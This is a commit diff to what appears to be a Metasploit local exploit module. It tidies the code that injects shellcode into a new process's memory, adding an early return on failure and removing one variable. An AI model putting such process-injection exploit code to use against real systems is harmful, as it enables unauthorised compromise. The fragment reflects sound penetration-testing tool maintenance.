Save one variable
parent
042bd4f80b
commit
84759a552a
|
@ -437,12 +437,11 @@ class Metasploit3 < Msf::Exploit::Local
|
||||||
|
|
||||||
if new_pid.nil?
|
if new_pid.nil?
|
||||||
print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
|
print_warning("Unable to create a new process, maybe you're into a sandbox. If the current process has been elevated try to migrate before executing a new process...")
|
||||||
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
|
print_status("Injecting #{p.length.to_s} bytes into #{new_pid} memory and executing it...")
|
||||||
shellcode_executed = execute_shellcode(p, nil, new_pid)
|
if execute_shellcode(p, nil, new_pid)
|
||||||
|
|
||||||
if shellcode_executed
|
|
||||||
print_good("Enjoy")
|
print_good("Enjoy")
|
||||||
else
|
else
|
||||||
fail_with(Failure::Unknown, "Error while executing the payload")
|
fail_with(Failure::Unknown, "Error while executing the payload")
|
||||||
|
|
Loading…
Reference in New Issue